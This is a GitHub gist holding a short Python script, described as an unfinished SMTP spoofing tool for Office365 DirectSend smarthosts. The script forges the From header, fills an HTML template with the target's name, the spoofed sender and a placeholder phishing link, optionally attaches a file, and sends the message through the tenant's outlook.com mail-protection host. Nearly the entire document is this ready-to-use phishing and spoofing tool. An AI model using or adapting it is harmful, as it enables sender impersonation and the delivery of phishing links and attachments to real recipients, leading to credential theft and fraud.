Skip to content

Instantly share code, notes, and snippets.

@rvrsh3ll
Forked from ustayready/spoof.py
Created October 3, 2022 20:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rvrsh3ll/34771d26c22c94ecd1ab07ba068e3de7 to your computer and use it in GitHub Desktop.
Save rvrsh3ll/34771d26c22c94ecd1ab07ba068e3de7 to your computer and use it in GitHub Desktop.
Simple unfinished SMTP spoof script for use with Office365 DirectSend SmartHosts
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import ssl
import email
import argparse
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--To', type=str, required=True)
parser.add_argument('-f', '--From', type=str, required=True)
parser.add_argument('-s', '--Subject', type=str, required=True)
parser.add_argument('-b', '--Body', type=str, required=True)
parser.add_argument('-a', '--Attach', type=str, required=False)
parser.add_argument('--smtp', type=str, required=True, help="domain-com.mail.protection.outlook.com")
args = parser.parse_args()
link = 'https://formlink/'
from_parts = args.From.split(' <')
from_name = from_parts[0]
to_parts = args.To.split(' <')
to_name = to_parts[0]
msg = MIMEMultipart('alternative')
msg['Subject'] = args.Subject
msg['From'] = args.From
msg['To'] = args.To
with open(args.Body, 'r') as fh:
html = fh.read()
body_html = html.replace('{{target}}', to_name).replace('{{sender}}', from_name).replace('{{link}}', link)
html_part = MIMEText(body_html, 'html')
msg.attach(html_part)
if args.Attach:
with open(args.Attach, 'rb') as attachment:
attach_part = MIMEBase('application','octet-stream')
attach_part.set_payload(attachment.read())
encoders.encode_base64(attach_part)
attach_part.add_header(
'Content-Disposition',
'attachment',
filename=args.Attach
)
msg.attach(attach_part)
s = smtplib.SMTP(args.smtp)
s.sendmail(args.From,[args.To], msg.as_string())
s.quit()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment